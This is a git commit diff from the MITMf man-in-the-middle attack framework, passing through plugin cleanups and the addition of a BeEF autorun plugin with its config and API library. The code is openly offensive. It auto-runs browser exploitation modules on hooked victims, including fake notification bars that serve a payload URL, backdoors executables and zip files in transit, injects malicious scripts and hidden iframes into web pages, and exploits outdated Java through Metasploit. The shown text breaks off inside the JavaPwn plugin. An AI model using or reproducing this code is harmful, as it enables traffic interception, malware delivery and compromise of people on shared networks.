mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-03-12 04:35:49 -07:00
code cleanup on all plugins, disabled annoying "Starting new HTTP Connection" log message, added BeefAutorun plugin and beefapi lib
This commit is contained in:
parent
e7cc6316f1
commit
73e7ca2f3d
1
.gitignore
vendored
1
.gitignore
vendored
@ -1,4 +1,3 @@
|
||||
*.pyc
|
||||
/plugins/old_plugins/
|
||||
backdoored/
|
||||
bdfactory/
|
||||
|
@ -9,6 +9,7 @@ This tool is completely based on sergio-proxy https://code.google.com/p/sergio-p
|
||||
|
||||
Availible plugins:
|
||||
- Spoof - Redirect traffic using ARP Spoofing, DNS Spoofing or ICMP Redirects
|
||||
- BeEFAutorun - Autoruns BeEF modules based on clients OS or browser type
|
||||
- AppCachePoison - Perform app cache poison attacks
|
||||
- BrowserProfiler - Attempts to enumerate all browser plugins of connected clients
|
||||
- CacheKill - Kills page caching by modifying headers
|
||||
@ -22,7 +23,7 @@ Availible plugins:
|
||||
|
||||
So far the most significant changes have been:
|
||||
|
||||
- Spoof plugin is live !! Supports ICMP, ARP and DNS spoofing
|
||||
- Spoof plugin now supports ICMP, ARP and DNS spoofing
|
||||
(DNS Spoofing code was stolen from https://github.com/DanMcInerney/dnsspoof/)
|
||||
|
||||
- Usage of third party tools has been completely removed (e.g. ettercap)
|
||||
@ -31,13 +32,17 @@ So far the most significant changes have been:
|
||||
|
||||
- Addition of the JsKeylogger plugin
|
||||
|
||||
- Addition of the BeefAutorun plugin
|
||||
|
||||
- FilePwn plugin re-written to backdoor executables and zip files on the fly by using the-backdoor-factory
|
||||
https://github.com/secretsquirrel/the-backdoor-factory and code from BDFProxy https://github.com/secretsquirrel/BDFProxy
|
||||
|
||||
- Added msfrpc.py for interfacing with Metasploits rpc server
|
||||
|
||||
- Added beefapi.py for interfacing with BeEF's RESTfulAPI
|
||||
|
||||
- Added Replace plugin
|
||||
|
||||
- Addition of the app-cache poisoning attack by Krzysztof Kotowicz
|
||||
|
||||
- JavaPwn plugin now live! Auto-detect and exploit clients with out-of-date java plugins using the Metasploit Frameworks rpc interface!!
|
||||
- JavaPwn plugin auto-detects and exploits clients with out-of-date java plugins using the Metasploit Frameworks rpc interface!!
|
||||
|
31
config_files/beefautorun.cfg
Normal file
31
config_files/beefautorun.cfg
Normal file
@ -0,0 +1,31 @@
|
||||
#Example config file for the BeefAutorun plugin
|
||||
|
||||
mode = oneshot #can be set to loop, or oneshot
|
||||
|
||||
#in loop mode the plugin will run modules on all hooked browsers every 10 seconds
|
||||
#in oneshot mode the plugin will run modules only once per hooked browser
|
||||
|
||||
[ALL] #Runs specified modules on all hooked browsers
|
||||
|
||||
'Man-In-The-Browser'= '{}'
|
||||
|
||||
|
||||
[targets] #Runs specified modules based on OS and Browser type
|
||||
|
||||
[[Windows]] #Target all Windows versions using Firefox and Internet Explorer
|
||||
|
||||
[[[FF]]]
|
||||
'Fake Notification Bar (Firefox)' = '{"url": "http://example.com/payload", "notification_text": "Click this if you dare"}'
|
||||
|
||||
[[[IE]]]
|
||||
'Fake Notification Bar (IE)' = '{"notification_text": "Click this if you dare"}'
|
||||
|
||||
[[Windows 7]] #Target only Windows 7 using Chrome
|
||||
|
||||
[[[C]]]
|
||||
'Fake Notification Bar (Chrome)' = '{"url": "http://example.com/payload", "notification_text: "Click this if you dare"}'
|
||||
|
||||
[[Linux]] #Target Linux platforms using Chrome
|
||||
|
||||
[[[C]]]
|
||||
'Redirect Browser (Rickroll)' = '{}'
|
@ -2,9 +2,7 @@
|
||||
import requests
|
||||
import json
|
||||
from random import sample
|
||||
from time import sleep
|
||||
from string import lowercase, digits
|
||||
from unicodedata import normalize
|
||||
|
||||
|
||||
class BeefAPI:
|
||||
@ -34,7 +32,7 @@ class BeefAPI:
|
||||
return True
|
||||
elif r.status_code != 200:
|
||||
return False
|
||||
|
||||
|
||||
except Exception, e:
|
||||
print "beefapi ERROR: %s" % e
|
||||
|
||||
@ -51,9 +49,9 @@ class BeefAPI:
|
||||
return self.get_sessions("offline", "ip")
|
||||
|
||||
def get_sessions(self, state, value):
|
||||
r = requests.get(self.hookurl).json()
|
||||
hooks = []
|
||||
try:
|
||||
r = requests.get(self.hookurl + self.token).json()
|
||||
for v in r["hooked-browsers"][state].items():
|
||||
hooks.append(str(v[1][value]))
|
||||
return hooks
|
||||
@ -61,77 +59,77 @@ class BeefAPI:
|
||||
print "beefapi ERROR: %s" % e
|
||||
|
||||
def getModid(self, name): #Returns module id
|
||||
url = self.url + "%s" % (self.token)
|
||||
r = requests.get(url).json()
|
||||
url = self.mod_url + self.token
|
||||
try:
|
||||
r = requests.get(url).json()
|
||||
for v in r.values():
|
||||
if v["name"] == name:
|
||||
return v["id"]
|
||||
except KeyError:
|
||||
print "beefapi ERROR: module '" + name + "' not found!"
|
||||
return None
|
||||
except Exception, e:
|
||||
print "beefapi ERROR: %s" % e
|
||||
|
||||
def getModname(self, id): #Returns module name
|
||||
url = self.url + "modules?token=%s" % (self.token)
|
||||
r = requests.get(url).json()
|
||||
url = self.mod_url + self.token
|
||||
try:
|
||||
r = requests.get(url).json()
|
||||
for v in r.values():
|
||||
if v["id"] == id:
|
||||
return v["name"]
|
||||
except KeyError:
|
||||
print "beefapi ERROR: module '" + id + "' not found!"
|
||||
return None
|
||||
except Exception, e:
|
||||
print "beefapi ERROR: %s" % e
|
||||
|
||||
def host2session(self, ip): # IP => Session
|
||||
url = self.url + "hooks?token=%s" % (self.token)
|
||||
r = requests.get(url).json()
|
||||
def host2session(self, ip): #IP => Session
|
||||
url = self.hookurl + self.token
|
||||
try:
|
||||
r = requests.get(url).json()
|
||||
for v in r["hooked-browsers"]["online"].items():
|
||||
if v[1]["ip"] == ip:
|
||||
return v[1]["session"]
|
||||
else:
|
||||
session = None
|
||||
|
||||
if session == None:
|
||||
|
||||
if session is None:
|
||||
for v in r["hooked-browsers"]["offline"].items():
|
||||
if v[1]["ip"] == ip:
|
||||
return v[1]["session"]
|
||||
else:
|
||||
return None
|
||||
|
||||
except KeyError:
|
||||
pass
|
||||
|
||||
def session2host(self, session): # Session => IP
|
||||
url = self.url + "hooks?token=%s" % (self.token)
|
||||
r = requests.get(url).json()
|
||||
except Exception, e:
|
||||
print "beefapi ERROR: %s" % e
|
||||
|
||||
def session2host(self, session): #Session => IP
|
||||
url = self.hookurl + self.token
|
||||
try:
|
||||
r = requests.get(url).json()
|
||||
for v in r["hooked-browsers"]["online"].items():
|
||||
if v[1]["session"] == session:
|
||||
return v[1]["ip"]
|
||||
else:
|
||||
ip = None
|
||||
|
||||
if ip == None:
|
||||
|
||||
if ip is None:
|
||||
for v in r["hooked-browsers"]["offline"].items():
|
||||
if v[1]["session"] == session:
|
||||
return v[1]["ip"]
|
||||
else:
|
||||
return None
|
||||
except KeyError:
|
||||
pass
|
||||
except Exception, e:
|
||||
print "beefapi ERROR: %s" % e
|
||||
|
||||
def runModule(self, session, mod_id, options={}): #Executes a module on a specified session
|
||||
headers = {"Content-Type": "application/json", "charset": "UTF-8"}
|
||||
payload = json.dumps(options)
|
||||
url = self.url + "modules/%s/%s?token=%s" % (session, mod_id, self.token)
|
||||
return requests.post(url, headers=headers, data=payload).json()
|
||||
def runModule(self, session, mod_id, options={}): #Executes a module on a specified session
|
||||
try:
|
||||
headers = {"Content-Type": "application/json", "charset": "UTF-8"}
|
||||
payload = json.dumps(options)
|
||||
url = self.url + "modules/%s/%s?token=%s" % (session, mod_id, self.token)
|
||||
return requests.post(url, headers=headers, data=payload).json()
|
||||
except Exception, e:
|
||||
print "beefapi ERROR: %s" % e
|
||||
|
||||
def moduleResult(self, session, mod_id, cmd_id):
|
||||
url = self.mod_url + "%s/%s/%s?token=%s" % (session, mod_id, cmd_id, self.token)
|
||||
return requests.get(url).json()
|
||||
|
||||
|
||||
def sessionInfo(self, session): #Returns parsed information on a session
|
||||
url = self.url + "hooks/%s?token=%s" % (session, self.token)
|
||||
return requests.get(url).json()
|
||||
|
@ -1,19 +1,20 @@
|
||||
from plugins.plugin import Plugin
|
||||
from sslstrip.ResponseTampererFactory import ResponseTampererFactory
|
||||
import threading
|
||||
#import threading
|
||||
|
||||
|
||||
class AppCachePlugin(Plugin):
|
||||
name = "App Cache Poison"
|
||||
optname = "app"
|
||||
desc = "Performs App Cache Poisoning attacks"
|
||||
has_opts = True
|
||||
|
||||
def initialize(self,options):
|
||||
|
||||
def initialize(self, options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
self.options = options
|
||||
self.config_file = options.tampercfg
|
||||
|
||||
if self.config_file == None:
|
||||
if self.config_file is None:
|
||||
self.config_file = "./config_files/app_cache_poison.cfg"
|
||||
|
||||
print "[*] App Cache Poison plugin online"
|
||||
|
117
plugins/BeefAutorun.py
Normal file
117
plugins/BeefAutorun.py
Normal file
@ -0,0 +1,117 @@
|
||||
from plugins.plugin import Plugin
|
||||
from time import sleep
|
||||
import sys
|
||||
import json
|
||||
import threading
|
||||
import logging
|
||||
import libs.beefapi as beefapi
|
||||
|
||||
try:
|
||||
from configobj import ConfigObj
|
||||
except:
|
||||
sys.exit('[-] configobj library not installed!')
|
||||
|
||||
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
|
||||
requests_log.setLevel(logging.WARNING)
|
||||
|
||||
|
||||
class BeefAutorun(Plugin):
|
||||
name = "BeEFAutorun"
|
||||
optname = "beefauto"
|
||||
has_opts = True
|
||||
desc = "Autoruns BeEF modules based on Browser or OS type"
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
self.autoruncfg = "./config_files/beefautorun.cfg" or options.autoruncfg
|
||||
self.beefip = options.beefip
|
||||
self.beefport = options.beefport
|
||||
self.beefuser = options.beefuser
|
||||
self.beefpass = options.beefpass
|
||||
|
||||
beef = beefapi.BeefAPI({"host": self.beefip, "port": self.beefport})
|
||||
if beef.login(self.beefuser, self.beefpass):
|
||||
print "[*] Successfully logged in to BeEF"
|
||||
else:
|
||||
sys.exit("[-] Error logging in to BeEF!")
|
||||
|
||||
userconfig = ConfigObj(self.autoruncfg)
|
||||
self.Mode = userconfig['mode']
|
||||
if self.Mode == 'oneshot':
|
||||
print '[*] Setting mode to oneshot'
|
||||
elif self.Mode == 'loop':
|
||||
print '[*] Setting mode to loop'
|
||||
else:
|
||||
sys.exit("[-] Error: unrecognized mode set in config file")
|
||||
|
||||
self.All_modules = userconfig["ALL"]
|
||||
self.Targeted_modules = userconfig["targets"]
|
||||
|
||||
print "[*] BeEFAutorun plugin online"
|
||||
t = threading.Thread(name="autorun", target=self.autorun, args=(beef,))
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
def autorun(self, beef):
|
||||
already_hooked = []
|
||||
already_ran = []
|
||||
while True:
|
||||
sessions = beef.onlineSessions()
|
||||
if (sessions is not None) and (len(sessions) > 0):
|
||||
for session in sessions:
|
||||
session_ip = beef.session2host(session)
|
||||
if session not in already_hooked:
|
||||
logging.info("%s >> joined the horde!" % session_ip)
|
||||
already_hooked.append(session)
|
||||
|
||||
if self.Mode == 'oneshot':
|
||||
if session not in already_ran:
|
||||
self.execModules(session, session_ip, beef)
|
||||
already_ran.append(session)
|
||||
|
||||
elif self.Mode == 'loop':
|
||||
self.execModules(session, session_ip, beef)
|
||||
sleep(10)
|
||||
|
||||
else:
|
||||
sleep(1)
|
||||
|
||||
def execModules(self, session, session_ip, beef):
|
||||
session_browser = beef.sessionInfo(session)["BrowserName"]
|
||||
session_os = beef.sessionInfo(session)["OsName"]
|
||||
|
||||
if len(self.All_modules) > 0:
|
||||
logging.info("%s >> sending generic modules" % session_ip)
|
||||
for module, options in self.All_modules.items():
|
||||
mod_id = beef.getModid(module)
|
||||
resp = beef.runModule(session, mod_id, json.loads(options))
|
||||
if resp["success"] == 'true':
|
||||
logging.info('%s >> sent module %s' % (session_ip, mod_id))
|
||||
else:
|
||||
logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id))
|
||||
sleep(0.5)
|
||||
|
||||
logging.info("%s >> sending targeted modules" % session_ip)
|
||||
for os in self.Targeted_modules:
|
||||
if (os in session_os) or (os == session_os):
|
||||
browsers = self.Targeted_modules[os]
|
||||
if len(browsers) > 0:
|
||||
for browser in browsers:
|
||||
if browser == session_browser:
|
||||
modules = self.Targeted_modules[os][browser]
|
||||
if len(modules) > 0:
|
||||
for module, options in modules.items():
|
||||
mod_id = beef.getModid(module)
|
||||
resp = beef.runModule(session, mod_id, json.loads(options))
|
||||
if resp["success"] == 'true':
|
||||
logging.info('%s >> sent module %s' % (session_ip, mod_id))
|
||||
else:
|
||||
logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id))
|
||||
sleep(0.5)
|
||||
|
||||
def add_options(self, options):
|
||||
options.add_argument('--beefip', dest='beefip', default='127.0.0.1', help="IP of BeEF's server [default: localhost]")
|
||||
options.add_argument('--beefport', dest='beefport', default='3000', help="Port of BeEF's server [default: 3000]")
|
||||
options.add_argument('--beefuser', dest='beefuser', default='beef', help='Username for beef [default: beef]')
|
||||
options.add_argument('--beefpass', dest='beefpass', default='beef', help='Password for beef [default: beef]')
|
||||
options.add_argument('--autoruncfg', type=file, help='Specify a config file [default: beefautorun.cfg]')
|
@ -3,20 +3,21 @@ from plugins.Inject import Inject
|
||||
from pprint import pformat
|
||||
import logging
|
||||
|
||||
|
||||
class BrowserProfiler(Inject, Plugin):
|
||||
name = "Browser Profiler"
|
||||
optname = "browserprofiler"
|
||||
desc = "Attempts to enumerate all browser plugins of connected clients"
|
||||
implements = ["handleResponse","handleHeader","connectionMade", "sendPostData"]
|
||||
implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"]
|
||||
has_opts = False
|
||||
|
||||
def initialize(self,options):
|
||||
def initialize(self, options):
|
||||
Inject.initialize(self, options)
|
||||
self.html_payload = self.get_payload()
|
||||
self.dic_output = {} # so other plugins can access the results
|
||||
self.dic_output = {} # so other plugins can access the results
|
||||
print "[*] Browser Profiler online"
|
||||
|
||||
def post2dict(self, string): #converts the ajax post to a dic
|
||||
def post2dict(self, string): #converts the ajax post to a dic
|
||||
dict = {}
|
||||
for line in string.split('&'):
|
||||
t = line.split('=')
|
||||
@ -27,7 +28,7 @@ class BrowserProfiler(Inject, Plugin):
|
||||
#Handle the plugin output
|
||||
if 'clientprfl' in request.uri:
|
||||
self.dic_output = self.post2dict(request.postData)
|
||||
self.dic_output['ip'] = str(request.client.getClientIP()) # add the IP of the client
|
||||
self.dic_output['ip'] = str(request.client.getClientIP()) # add the IP of the client
|
||||
pretty_output = pformat(self.dic_output)
|
||||
logging.warning("%s Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output))
|
||||
|
||||
@ -103,4 +104,4 @@ function make_xhr(){
|
||||
}
|
||||
</script>"""
|
||||
|
||||
return payload
|
||||
return payload
|
||||
|
@ -1,24 +1,25 @@
|
||||
from plugins.plugin import Plugin
|
||||
|
||||
|
||||
class CacheKill(Plugin):
|
||||
name = "CacheKill Plugin"
|
||||
optname = "cachekill"
|
||||
desc = "Kills page caching by modifying headers"
|
||||
implements = ["handleHeader","connectionMade"]
|
||||
implements = ["handleHeader", "connectionMade"]
|
||||
has_opts = True
|
||||
bad_headers = ['if-none-match','if-modified-since']
|
||||
|
||||
def add_options(self,options):
|
||||
bad_headers = ['if-none-match', 'if-modified-since']
|
||||
|
||||
def add_options(self, options):
|
||||
options.add_argument("--preserve-cookies", action="store_true", help="Preserve cookies (will allow caching in some situations).")
|
||||
|
||||
def handleHeader(self,request,key,value):
|
||||
|
||||
def handleHeader(self, request, key, value):
|
||||
'''Handles all response headers'''
|
||||
request.client.headers['Expires'] = "0"
|
||||
request.client.headers['Cache-Control'] = "no-cache"
|
||||
|
||||
def connectionMade(self,request):
|
||||
|
||||
def connectionMade(self, request):
|
||||
'''Handles outgoing request'''
|
||||
request.headers['Pragma'] = 'no-cache'
|
||||
for h in self.bad_headers:
|
||||
if h in request.headers:
|
||||
request.headers[h] = ""
|
||||
request.headers[h] = ""
|
||||
|
@ -2,7 +2,8 @@
|
||||
# 99.9999999% of this code is stolen from BDFProxy - https://github.com/secretsquirrel/BDFProxy
|
||||
#################################################################################################
|
||||
|
||||
import sys, os
|
||||
import sys
|
||||
import os
|
||||
import pefile
|
||||
import zipfile
|
||||
import logging
|
||||
@ -18,6 +19,7 @@ try:
|
||||
except:
|
||||
sys.exit('[-] configobj library not installed!')
|
||||
|
||||
|
||||
class FilePwn(Plugin):
|
||||
name = "FilePwn"
|
||||
optname = "filepwn"
|
||||
@ -33,13 +35,10 @@ class FilePwn(Plugin):
|
||||
elif aString.lower() == 'none':
|
||||
return None
|
||||
|
||||
def initialize(self,options):
|
||||
def initialize(self, options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
self.options = options
|
||||
self.filepwncfg = options.filepwncfg
|
||||
|
||||
if self.filepwncfg == None:
|
||||
self.filepwncfg = "./config_files/filepwn.cfg"
|
||||
self.filepwncfg = "./config_files/filepwn.cfg" or options.filepwncfg
|
||||
|
||||
self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload',
|
||||
'application/x-msdos-program', 'binary/octet-stream']
|
||||
@ -48,7 +47,7 @@ class FilePwn(Plugin):
|
||||
|
||||
#NOT USED NOW
|
||||
#self.supportedBins = ('MZ', '7f454c46'.decode('hex'))
|
||||
|
||||
|
||||
self.userConfig = ConfigObj(self.filepwncfg)
|
||||
self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax']
|
||||
self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86']
|
||||
@ -163,7 +162,7 @@ class FilePwn(Plugin):
|
||||
except Exception as e:
|
||||
logging.warning("EXCEPTION IN binaryGrinder %s", str(e))
|
||||
return None
|
||||
|
||||
|
||||
def zipGrinder(self, aZipFile):
|
||||
"When called will unpack and edit a Zip File and return a zip file"
|
||||
|
||||
@ -262,9 +261,9 @@ class FilePwn(Plugin):
|
||||
os.remove(tmpFile)
|
||||
|
||||
return aZipFile
|
||||
|
||||
def handleResponse(self,request,data):
|
||||
|
||||
|
||||
def handleResponse(self, request, data):
|
||||
|
||||
content_header = request.client.headers['Content-Type']
|
||||
|
||||
if content_header in self.zipMimeTypes:
|
||||
@ -272,25 +271,25 @@ class FilePwn(Plugin):
|
||||
bd_zip = self.zipGrinder(data)
|
||||
if bd_zip:
|
||||
logging.info("%s Patching complete, forwarding to client" % request.client.getClientIP())
|
||||
return {'request':request,'data':bd_zip}
|
||||
return {'request': request, 'data': bd_zip}
|
||||
|
||||
elif content_header in self.binaryMimeTypes:
|
||||
logging.info("%s Detected supported binary type!" % request.client.getClientIP())
|
||||
fd, tmpFile = mkstemp()
|
||||
with open(tmpFile, 'w') as f:
|
||||
f.write(data)
|
||||
|
||||
|
||||
patchb = self.binaryGrinder(tmpFile)
|
||||
|
||||
if patchb:
|
||||
bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read()
|
||||
os.remove('./backdoored/' + os.path.basename(tmpFile))
|
||||
logging.info("%s Patching complete, forwarding to client" % request.client.getClientIP())
|
||||
return {'request':request,'data':bd_binary}
|
||||
return {'request': request, 'data': bd_binary}
|
||||
|
||||
else:
|
||||
logging.debug("%s File is not of supported Content-Type: %s" % (request.client.getClientIP(), content_header))
|
||||
return {'request':request,'data':data}
|
||||
return {'request': request, 'data': data}
|
||||
|
||||
def add_options(self, options):
|
||||
options.add_argument("--filepwncfg", type=file, help="Specify a config file")
|
||||
options.add_argument("--filepwncfg", type=file, help="Specify a config file")
|
||||
|
@ -1,16 +1,21 @@
|
||||
import os,subprocess,logging,time,re
|
||||
#import os
|
||||
#import subprocess
|
||||
import logging
|
||||
import time
|
||||
import re
|
||||
import argparse
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.CacheKill import CacheKill
|
||||
|
||||
class Inject(CacheKill,Plugin):
|
||||
|
||||
class Inject(CacheKill, Plugin):
|
||||
name = "Inject"
|
||||
optname = "inject"
|
||||
implements = ["handleResponse","handleHeader","connectionMade"]
|
||||
implements = ["handleResponse", "handleHeader", "connectionMade"]
|
||||
has_opts = True
|
||||
desc = "Inject arbitrary content into HTML content"
|
||||
|
||||
def initialize(self,options):
|
||||
|
||||
def initialize(self, options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
self.options = options
|
||||
self.html_src = options.html_url
|
||||
@ -25,7 +30,7 @@ class Inject(CacheKill,Plugin):
|
||||
self.implements.remove("handleHeader")
|
||||
self.implements.remove("connectionMade")
|
||||
|
||||
if options.html_file != None:
|
||||
if options.html_file is not None:
|
||||
self.html_payload += options.html_file.read()
|
||||
|
||||
self.ctable = {}
|
||||
@ -34,21 +39,19 @@ class Inject(CacheKill,Plugin):
|
||||
self.mime = "text/html"
|
||||
print "[*] Inject plugin online"
|
||||
|
||||
|
||||
def handleResponse(self,request,data):
|
||||
def handleResponse(self, request, data):
|
||||
#We throttle to only inject once every two seconds per client
|
||||
#If you have MSF on another host, you may need to check prior to injection
|
||||
#print "http://" + request.client.getRequestHostname() + request.uri
|
||||
ip,hn,mime = self._get_req_info(request)
|
||||
if self._should_inject(ip,hn,mime) and \
|
||||
(not self.js_src==self.html_src==None or not self.html_payload==""):
|
||||
ip, hn, mime = self._get_req_info(request)
|
||||
if self._should_inject(ip, hn, mime) and (not self.js_src == self.html_src is not None or not self.html_payload == ""):
|
||||
|
||||
data = self._insert_html(data,post=[(self.match_str,self._get_payload())])
|
||||
data = self._insert_html(data, post=[(self.match_str, self._get_payload())])
|
||||
self.ctable[ip] = time.time()
|
||||
self.dtable[ip+hn] = True
|
||||
self.count+=1
|
||||
self.count += 1
|
||||
logging.info("%s [%s] Injected malicious html" % (request.client.getClientIP(), request.headers['host']))
|
||||
return {'request':request,'data':data}
|
||||
return {'request': request, 'data': data}
|
||||
else:
|
||||
return
|
||||
|
||||
@ -57,46 +60,49 @@ class Inject(CacheKill,Plugin):
|
||||
|
||||
def add_options(self,options):
|
||||
options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.")
|
||||
options.add_argument("--html-url",type=str,help="Location of your (presumably) malicious HTML. Injected via hidden iframe.")
|
||||
options.add_argument("--html-payload",type=str,default="",help="String you would like to inject.")
|
||||
options.add_argument("--html-file",type=argparse.FileType('r'),default=None,help="File containing code you would like to inject.")
|
||||
options.add_argument("--match-str",type=str,default="</body>",help="String you would like to match and place your payload before. (</body> by default)")
|
||||
options.add_argument("--per-domain",action="store_true",help="Inject once per domain per client.")
|
||||
options.add_argument("--rate-limit",type=float,help="Inject once every RATE_LIMIT seconds per client.")
|
||||
options.add_argument("--count-limit",type=int,help="Inject only COUNT_LIMIT times per client.")
|
||||
options.add_argument("--preserve-cache",action="store_true",help="Don't kill the server/client caching.")
|
||||
options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.")
|
||||
options.add_argument("--html-payload", type=str, default="", help="String you would like to inject.")
|
||||
options.add_argument("--html-file", type=argparse.FileType('r'), default=None, help="File containing code you would like to inject.")
|
||||
options.add_argument("--match-str", type=str, default="</body>", help="String you would like to match and place your payload before. (</body> by default)")
|
||||
options.add_argument("--per-domain", action="store_true", help="Inject once per domain per client.")
|
||||
options.add_argument("--rate-limit", type=float, help="Inject once every RATE_LIMIT seconds per client.")
|
||||
options.add_argument("--count-limit", type=int, help="Inject only COUNT_LIMIT times per client.")
|
||||
options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.")
|
||||
|
||||
def _should_inject(self,ip,hn,mime):
|
||||
if self.count_limit==self.rate_limit==None and not self.per_domain:
|
||||
def _should_inject(self, ip, hn, mime):
|
||||
if self.count_limit == self.rate_limit is None and not self.per_domain:
|
||||
return True
|
||||
if self.count_limit != None and self.count > self.count_limit:
|
||||
|
||||
if self.count_limit is not None and self.count > self.count_limit:
|
||||
#print "1"
|
||||
return False
|
||||
if self.rate_limit != None:
|
||||
if ip in self.ctable and time.time()-self.ctable[ip]<self.rate_limit:
|
||||
|
||||
if self.rate_limit is not None:
|
||||
if ip in self.ctable and time.time()-self.ctable[ip] < self.rate_limit:
|
||||
return False
|
||||
|
||||
if self.per_domain:
|
||||
return not ip+hn in self.dtable
|
||||
#print mime
|
||||
return mime.find(self.mime)!=-1
|
||||
|
||||
def _get_req_info(self,request):
|
||||
return mime.find(self.mime) != -1
|
||||
|
||||
def _get_req_info(self, request):
|
||||
ip = request.client.getClientIP()
|
||||
hn = request.client.getRequestHostname()
|
||||
mime = request.client.headers['Content-Type']
|
||||
return (ip,hn,mime)
|
||||
return (ip, hn, mime)
|
||||
|
||||
def _get_iframe(self):
|
||||
if self.html_src != None:
|
||||
return '<iframe src="%s" height=0%% width=0%%></iframe>'%(self.html_src)
|
||||
if self.html_src is not None:
|
||||
return '<iframe src="%s" height=0%% width=0%%></iframe>' % (self.html_src)
|
||||
return ''
|
||||
|
||||
def _get_js(self):
|
||||
if self.js_src != None:
|
||||
return '<script type="text/javascript" src="%s"></script>'%(self.js_src)
|
||||
if self.js_src is not None:
|
||||
return '<script type="text/javascript" src="%s"></script>' % (self.js_src)
|
||||
return ''
|
||||
|
||||
def _insert_html(self,data,pre=[],post=[],re_flags=re.I):
|
||||
def _insert_html(self, data, pre=[], post=[], re_flags=re.I):
|
||||
'''
|
||||
To use this function, simply pass a list of tuples of the form:
|
||||
|
||||
@ -107,11 +113,13 @@ class Inject(CacheKill,Plugin):
|
||||
The pre array will have the match in front of your injected code, the post
|
||||
will put the match behind it.
|
||||
'''
|
||||
pre_regexes = [re.compile(r"(?P<match>"+i[0]+")",re_flags) for i in pre]
|
||||
post_regexes = [re.compile(r"(?P<match>"+i[0]+")",re_flags) for i in post]
|
||||
|
||||
for i,r in enumerate(pre_regexes):
|
||||
data=re.sub(r,"\g<match>"+pre[i][1],data)
|
||||
for i,r in enumerate(post_regexes):
|
||||
data=re.sub(r,post[i][1]+"\g<match>",data)
|
||||
pre_regexes = [re.compile(r"(?P<match>"+i[0]+")", re_flags) for i in pre]
|
||||
post_regexes = [re.compile(r"(?P<match>"+i[0]+")", re_flags) for i in post]
|
||||
|
||||
for i, r in enumerate(pre_regexes):
|
||||
data = re.sub(r, "\g<match>"+pre[i][1], data)
|
||||
|
||||
for i, r in enumerate(post_regexes):
|
||||
data = re.sub(r, post[i][1]+"\g<match>", data)
|
||||
|
||||
return data
|
||||
|
@ -6,13 +6,17 @@ import string
|
||||
import random
|
||||
import threading
|
||||
import logging
|
||||
import sys, os
|
||||
import sys
|
||||
|
||||
try:
|
||||
from configobj import ConfigObj
|
||||
except:
|
||||
sys.exit('[-] configobj library not installed!')
|
||||
|
||||
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
|
||||
requests_log.setLevel(logging.WARNING)
|
||||
|
||||
|
||||
class JavaPwn(BrowserProfiler, Plugin):
|
||||
name = "JavaPwn"
|
||||
optname = "javapwn"
|
||||
@ -26,28 +30,24 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||
self.msfport = options.msfport
|
||||
self.rpcip = options.rpcip
|
||||
self.rpcpass = options.rpcpass
|
||||
self.javapwncfg = options.javapwncfg
|
||||
self.javapwncfg = './config_files/javapwn.cfg' or options.javapwncfg
|
||||
|
||||
if not self.msfip:
|
||||
sys.exit('[-] JavaPwn plugin requires --msfip')
|
||||
|
||||
if not self.javapwncfg:
|
||||
self.javapwncfg = './config_files/javapwn.cfg'
|
||||
|
||||
self.javacfg = ConfigObj(self.javapwncfg)
|
||||
|
||||
self.javaVersionDic = {}
|
||||
for key, value in self.javacfg.iteritems():
|
||||
self.javaVersionDic[float(key)] = value
|
||||
|
||||
|
||||
self.sploited_ips = [] # store ip of pwned or not vulnarable clients so we don't re-exploit
|
||||
self.sploited_ips = [] #store ip of pwned or not vulnarable clients so we don't re-exploit
|
||||
|
||||
try:
|
||||
msf = msfrpc.Msfrpc({"host" : self.rpcip}) #create an instance of msfrpc libarary
|
||||
msf = msfrpc.Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary
|
||||
msf.login('msf', self.rpcpass)
|
||||
version = msf.call('core.version')['version']
|
||||
print "[*] Succesfully connected to Metasploit v%s" % version
|
||||
print "[*] Successfully connected to Metasploit v%s" % version
|
||||
except Exception:
|
||||
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
|
||||
|
||||
@ -57,110 +57,109 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||
print "[*] JavaPwn plugin online"
|
||||
t = threading.Thread(name='pwn', target=self.pwn, args=(msf,))
|
||||
t.setDaemon(True)
|
||||
t.start() #start the main thread
|
||||
t.start() #start the main thread
|
||||
|
||||
def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning)
|
||||
def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning)
|
||||
return "/" + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(5))
|
||||
|
||||
def version2float(self, version): #converts clients java version string to a float so we can compare the value to self.javaVersionDic
|
||||
def version2float(self, version): #converts clients java version string to a float so we can compare the value to self.javaVersionDic
|
||||
v = version.split(".")
|
||||
return float(v[0] + "." + "".join(v[-(len(v)-1):]))
|
||||
|
||||
def injectWait(self, msfinstance, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions
|
||||
def injectWait(self, msfinstance, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions
|
||||
#inject iframe
|
||||
logging.info("%s >> now injecting iframe to trigger exploit" % client_ip)
|
||||
self.html_payload = "<iframe src='http://%s:%s%s' height=0%% width=0%%></iframe>" % (self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects
|
||||
|
||||
|
||||
